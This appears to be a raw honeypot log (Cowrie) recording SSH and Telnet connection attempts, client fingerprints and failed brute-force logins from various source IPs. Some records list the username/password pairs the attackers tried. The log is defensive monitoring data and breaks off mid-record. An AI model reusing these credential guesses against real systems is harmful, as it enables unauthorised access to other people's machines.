{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:14.349970Z","src_ip":"176.65.132.129","session":"f3e94585fdcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:14.415963Z","src_ip":"80.94.92.184","session":"228e0581a748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:14.743531Z","src_ip":"176.65.132.129","session":"f3e94585fdcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:15.330545Z","src_ip":"80.94.92.184","session":"228e0581a748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.84591817855835,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:15.414547Z","src_ip":"152.42.224.71","session":"47d006c37cc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:15.829454Z","src_ip":"176.65.132.129","session":"f3e94585fdcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.562766551971436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:16.221874Z","src_ip":"8.219.209.112","session":"c8a1b0ee6670","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:16.574035Z","src_ip":"80.94.92.184","session":"228e0581a748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":44734,"dst_ip":"10.17.0.5","dst_port":22,"session":"c013df79247a","protocol":"ssh","message":"New connection: 20.193.250.100:44734 (10.17.0.5:22) [session: c013df79247a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:17.033105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:17.037653Z","src_ip":"20.193.250.100","session":"c013df79247a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:17.247296Z","src_ip":"20.193.250.100","session":"c013df79247a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49390,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bcd83a650eb","protocol":"ssh","message":"New connection: 176.65.132.129:49390 (159.203.135.109:22) [session: 6bcd83a650eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:17.605325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:17.610196Z","src_ip":"176.65.132.129","session":"6bcd83a650eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:17.692566Z","src_ip":"176.65.132.129","session":"6bcd83a650eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpUser","password":"ftpUser","message":"login attempt [ftpUser/ftpUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:17.938021Z","src_ip":"176.65.132.129","session":"6bcd83a650eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminsec1234","message":"login attempt [root/adminsec1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:18.097871Z","src_ip":"20.193.250.100","session":"c013df79247a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:19.026407Z","src_ip":"176.65.132.129","session":"6bcd83a650eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44572,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5e9c85cf590","protocol":"telnet","message":"New connection: 152.42.224.71:44572 (10.17.0.5:23) [session: e5e9c85cf590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:19.268336Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:19.313240Z","src_ip":"20.193.250.100","session":"c013df79247a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49400,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee4c704a8482","protocol":"ssh","message":"New connection: 176.65.132.129:49400 (159.203.135.109:22) [session: ee4c704a8482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:20.809363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:20.814227Z","src_ip":"176.65.132.129","session":"ee4c704a8482","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:20.897275Z","src_ip":"176.65.132.129","session":"ee4c704a8482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:21.142604Z","src_ip":"176.65.132.129","session":"ee4c704a8482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:22.229407Z","src_ip":"176.65.132.129","session":"ee4c704a8482","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49412,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5c0538ab075","protocol":"ssh","message":"New connection: 176.65.132.129:49412 (159.203.135.109:22) [session: a5c0538ab075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:23.973635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:23.977462Z","src_ip":"176.65.132.129","session":"a5c0538ab075","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:24.062125Z","src_ip":"176.65.132.129","session":"a5c0538ab075","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:24.308752Z","src_ip":"176.65.132.129","session":"a5c0538ab075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:25.397230Z","src_ip":"176.65.132.129","session":"a5c0538ab075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.74166297912598,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:26.209699Z","src_ip":"152.42.224.71","session":"41ed49be9457","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49346,"dst_ip":"159.203.135.109","dst_port":22,"session":"c81bf596740e","protocol":"ssh","message":"New connection: 176.65.132.129:49346 (159.203.135.109:22) [session: c81bf596740e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:27.133493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:27.138489Z","src_ip":"176.65.132.129","session":"c81bf596740e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:27.221459Z","src_ip":"176.65.132.129","session":"c81bf596740e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:27.619883Z","src_ip":"176.65.132.129","session":"c81bf596740e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:28.705201Z","src_ip":"176.65.132.129","session":"c81bf596740e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":41772,"dst_ip":"10.17.0.5","dst_port":22,"session":"acfc4de6e63f","protocol":"ssh","message":"New connection: 13.71.92.229:41772 (10.17.0.5:22) [session: acfc4de6e63f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:29.296456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:29.305998Z","src_ip":"13.71.92.229","session":"acfc4de6e63f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:29.507368Z","src_ip":"13.71.92.229","session":"acfc4de6e63f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe789","message":"login attempt [root/qwe789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:30.323881Z","src_ip":"13.71.92.229","session":"acfc4de6e63f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49350,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0e8c54eb921","protocol":"ssh","message":"New connection: 176.65.132.129:49350 (159.203.135.109:22) [session: a0e8c54eb921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:30.363317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:46:30.425296Z","src_ip":"176.65.132.129","session":"a0e8c54eb921","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2